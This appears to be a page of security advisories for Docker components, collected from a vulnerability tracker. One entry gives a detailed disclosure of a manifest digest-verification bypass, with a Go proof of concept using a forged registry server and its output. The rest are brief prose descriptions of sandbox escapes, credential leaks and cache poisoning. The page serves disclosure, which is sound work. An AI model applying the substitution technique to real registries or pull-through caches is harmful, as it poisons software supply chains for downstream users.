See how docker compares to other vendors in security performance
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Docker Buildx. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The ZDI has assigned a CVSS rating of 7.8. The following CVEs are assigned: CVE-2026-93325.
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Docker Buildx. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The ZDI has assigned a CVSS rating of 7.8. The following CVEs are assigned: CVE-2026-93325.
Summary
registry/client.(manifests).Get(ctx, dgst, …) fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity — image policy controllers, mirrors, pull-through caches — is silently undermined. The bundled pull-through proxy (registry/proxy/proxymanifeststore.go) is itself an unguarded consumer and is directly exploitable.
Details
Root cause: registry/client/repository.go:488-505 reads the response body and passes it directly to distribution.UnmarshalManifest without ever computing digest.FromBytes(body) and comparing against the caller-supplied dgst. The Docker-Content-Digest response header is parsed (lines 251-292 in descriptorFromResponse) only to populate an out-parameter (ReturnContentDigest) and is itself server-supplied — it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes.
Attack path: An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to GET /v2/{name}/manifests/{digest} with: 1. Docker-Content-Digest: <requested-digest> (forged header) 2. A body containing a different, attacker-chosen manifest
The client calls distribution.UnmarshalManifest on the substituted body, returns the attacker's manifest as if it were the pinned content, and the caller has no way to detect the substitution.
Why it matters: The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The registry/proxy/proxymanifeststore.go:42-87 pull-through cache calls remoteManifests.Get(ctx, dgst) and immediately writes the result to local storage with no re-verification — so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers.
Relevant code path (repository.go, simplified): go // line ~496 func (ms manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) { ... resp, err := ms.client.Get(u) ... body, err := ioutil.ReadAll(resp.Body) // no size limit, no digest check ... m, , err := distribution.UnmarshalManifest(ct, body) // returns attacker bytes return m, err }
PoC
go.mod: module poc
go 1.24.10
require ( github.com/distribution/reference v0.6.0 github.com/docker/distribution v2.8.3+incompatible github.com/opencontainers/go-digest v1.0.0 )
require ( github.com/beorn7/perks v1.0.1 // indirect github.com/docker/go-metrics v0.0.1 // indirect github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect github.com/golang/protobuf v1.3.2 // indirect github.com/gorilla/mux v1.8.1 // indirect github.com/matttproud/golangprotobufextensions v1.0.1 // indirect github.com/opencontainers/image-spec v1.1.1 // indirect github.com/prometheus/clientgolang v1.1.0 // indirect github.com/prometheus/clientmodel v0.0.0-20190129233127-fd36f4220a90 // indirect github.com/prometheus/common v0.6.0 // indirect github.com/prometheus/procfs v0.0.3 // indirect github.com/sirupsen/logrus v1.9.4 // indirect golang.org/x/sys v0.13.0 // indirect )
main.go: go // PoC: registry/client manifests.Get() does not verify the requested digest // against the returned body. A malicious registry (or MITM) can serve // arbitrary content for a digest-pinned manifest reference and the client // will accept it. package main
import ( "context" "fmt" "net/http" "net/http/httptest"
"github.com/distribution/reference" "github.com/docker/distribution/manifest/schema2" "github.com/docker/distribution/registry/client" "github.com/opencontainers/go-digest" )
// A real, "trusted" manifest the user pinned by digest. var trustedManifest = []byte({ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}, "layers": [] })
// A different, attacker-controlled manifest the malicious server returns instead. var evilManifest = []byte({ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"}, "layers": [] })
func main() { pinnedDigest := digest.FromBytes(trustedManifest) evilDigest := digest.FromBytes(evilManifest) fmt.Println("client requests manifest pinned at:", pinnedDigest) fmt.Println("server will instead return content :", evilDigest)
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { // Lie: claim the digest matches what was asked, but serve evil bytes. w.Header().Set("Content-Type", schema2.MediaTypeManifest) w.Header().Set("Docker-Content-Digest", pinnedDigest.String()) w.WriteHeader(200) w.Write(evilManifest) })) defer srv.Close()
name, := reference.WithName("library/alpine") repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport) if err != nil { panic(err) } ms, := repo.Manifests(context.Background())
// Fetch by digest — caller expects content-addressed integrity. m, err := ms.Get(context.Background(), pinnedDigest) if err != nil { fmt.Println("Get error:", err) return } , payload, := m.Payload() got := digest.FromBytes(payload)
if got != pinnedDigest { fmt.Println() fmt.Println(">>> BYPASS: client accepted manifest that does NOT match requested digest") fmt.Println(" requested:", pinnedDigest) fmt.Println(" received :", got) } else { fmt.Println("OK: digest verified") } }
Output (v2.8.3+incompatible): client requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de server will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e
>> BYPASS: client accepted manifest that does NOT match requested digest requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e
Impact
Any application that calls registry/client.(manifests).Get() with a digest argument — and relies on that digest to guarantee which image content it receives — is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled registry/proxy), and any CI/CD tooling that pins images by digest for reproducibility or security.
An attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content — changing image layers, entrypoints, or referenced blobs — and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream clients.
Exploitation requires either control of the registry endpoint the victim is configured to use, or a MITM/TLS-breaking position on that connection. No authentication is needed beyond whatever the registry normally requires.
An Incorrect Privilege Assignment vulnerability in Docker Hub's account-to-organization conversion feature allowed an authenticated attacker to reassign a personal access token (PAT) they controlled to another Docker Hub user without rotating or revoking the token secret. The unchanged PAT then authenticated to the registry as the recipient and could pull, push, or delete images, within its scopes, in repositories accessible to that user, including organization repositories.
Before 4.92.0, Docker Desktop for Windows did not verify the signature of a package supplied to Docker Desktop Installer.exe install -package. An attacker able to provide a crafted package and convince a user to approve the Docker-signed UAC prompt could execute attacker-controlled installer actions as LocalSystem.
Docker Sandboxes could forward a client-supplied credential alongside a credential injected by the host egress proxy. The proxy removed alternate credentials only when their values matched known sentinel values, so untrusted code in an authorized sandbox could supply an unrecognized credential in another supported authentication header. For affected upstream services, this could authenticate the request to an attacker-controlled account and expose data included in the request.
Docker Sandboxes could fail open while masking credentials in protected proxy responses. When a response-body read returned data together with an error, affected handlers could forward unmasked bytes. Code inside an authorized sandbox could use this to recover host-managed OAuth access and refresh tokens or a derived Anthropic API key intended to remain outside the sandbox.
Docker Sandboxes compared OAuth token-endpoint hostnames case-sensitively when deciding whether to mask managed credential responses, while request routing treated DNS hostnames case-insensitively. Untrusted code inside a sandbox could use a case-variant hostname to reach the genuine provider endpoint while bypassing response masking. If a user completed the OAuth flow, the provider's access and refresh tokens could be returned unmasked to the sandbox, exposing host-managed credentials.
Docker Engine classifies a registry hostname as insecure using an any-match DNS check. loadInsecureRegistries() injects 127.0.0.0/8 and ::1/128 as insecure CIDRs by default. isCIDRMatch resolves all of the hostname's addresses and returns true if a single address is in the insecure CIDR list. Because the transport re-dials the hostname rather than the CIDR-matching address, a DNS answer set of one loopback IP plus a non-loopback attacker IP disables certificate verification and enables HTTP fallback for the registry connection.
Blind VXLAN injection into encrypted overlay networks from cluster peer
A malicious frontend can submit an LLB definition that causes buildkitd to panic and terminate, interrupting all builds running on that daemon.
When proxy networking with CA injection is enabled, a build can modify its CA bundle before cleanup. This may cause cleanup to block, operate outside the build rootfs, or fail without failing the build.
Docker Buildx Bake does not request the expected fs.read approval for certain filesystem inputs. An untrusted Bake definition can expose a readable file through a pathless secret whose ID is interpreted as a client-side pathname, or consume a local OCI image layout outside the project after entitlement validation checks a different path representation. Users who run untrusted Bake definitions are affected.
A build step for a Git source, crafted in a specific way, can bypass some policy validation rules. A malicious build definition can make the repository look like it is coming from a different remote URL than it really is when Git clone is happening. If policy is doing more stricter validation, for example based on commit SHA, commit data, or signatures, then all these validations still apply correctly.
Oversized Dockerfile or .dockerignore can exhaust buildkitd memory
A malicious frontend can submit an LLB definition that causes buildkitd to panic and terminate, interrupting all builds running on that daemon.
A malicious image can advertise DiffIDs from another image while containing different layer contents. In affected versions, BuildKit could use the advertised DiffIDs to derive cache and snapshot identity without validating that they matched the actual layer contents.
If a BuildKit daemon with shared or persistent cache first processes such a malicious image, a later build using the victim image may mount the attacker-controlled layer contents as the base image. This can allow code from the malicious image to run in the victim build, for example by replacing a commonly executed path such as /bin/sh. The attacker-controlled code may read build secrets mounted into the build, access other build resources, alter output artifacts, or hang the build.
The issue affects both regular snapshotters and lazy-pulling snapshotters such as stargz.
An unauthenticated attacker controlling a registry or OCI-layout blob source could provide blob contents that did not match the claimed digest. The resulting snapshot could be cached under that digest and reused by a later victim build, compromising build-input integrity.
If BuildKit daemon is started with --cdi-disabled it can lead to daemon panic when builds try to use CDI devices. This can happen maliciously or by accident.
Zammad GmbH Zammad contains an improper privilege management vulnerability that can allow the local zammad user to escalate privileges to root. This vulnerability can be chained with CVE-2026-102489.
Zammad GmbH Zammad contains a session fixation vulnerability that can lead to remote code execution as the zammad user. This vulnerability can be chained with CVE-2026-102490.
The guest-to-host Unix-domain socket relay in Docker Sandboxes validates that a socket path is inside an authorized workspace, but later reconnects using the pathname. A malicious guest can replace an intermediate directory with a symlink between validation and connection, causing the host to connect to an arbitrary AFUNIX socket outside the shared workspace. This can expose data or host-side capabilities provided by the targeted socket.
On macOS, the virtio-fs host server used by Docker Sandboxes improperly follows symlinks when reopening an unlinked file from a stored path. A malicious guest can replace a parent directory with a symlink, escape the shared workspace, and read or modify arbitrary host files as the VMM user, potentially achieving host code execution.
Author here. We discovered a vulnerability in docker cp that allows a malicious container to create or overwrite files on the machine running the Docker CLI.
The exploit combines a filesystem race in Docker’s archive creation with unsafe symlink handling during extraction. Depending on the CLI user’s privileges, this can lead to developer-account compromise or root code execution. Docker confirmed that sbx cp was also affected.
Fixed versions:
Docker Engine/CLI 29.7.2+ Docker Desktop 4.86.0+ Docker Sandboxes 0.38.0+
Happy to answer technical questions.
https://www.imperva.com/blog/copyescape-taking-over-docker-hosts-with-docker-cp/ Author here. I discovered a vulnerability in docker cp that allows a malicious container to create or overwrite files on the machine running the Docker CLI.
The exploit combines a filesystem race in Docker’s archive creation with unsafe symlink handling during extraction. Depending on the CLI user’s privileges, this can lead to code execution. Docker confirmed that sbx cp was also affected.
Fixed versions:
Docker Engine/CLI 29.7.2+ Docker Desktop 4.86.0+ Docker Sandboxes 0.38.0+
Happy to answer technical questions.
This vulnerability allows local attackers to escape the model runner sandbox on affected installations of Docker Desktop for macOS. An attacker must first obtain the ability to execute low-privileged code within the sandbox in order to exploit this vulnerability. The ZDI has assigned a CVSS rating of 8.8.
This vulnerability allows local attackers to escape the model runner sandbox on affected installations of Docker Desktop for macOS. An attacker must first obtain the ability to execute low-privileged code within the sandbox in order to exploit this vulnerability. The ZDI has assigned a CVSS rating of 8.8.
BuildKit custom frontends or clients using the raw low-level API can set git.checkoutbundle=true when checking out Git sources. If the Git source is malicious, this could lead to a crafted command invocation on the host.
A crafted message in the BuildKit low-level build API can be used to remove the contents of the /tmp directory. The action that can normally be used to delete files inside the build container rootfs can escape into the real host temp directory.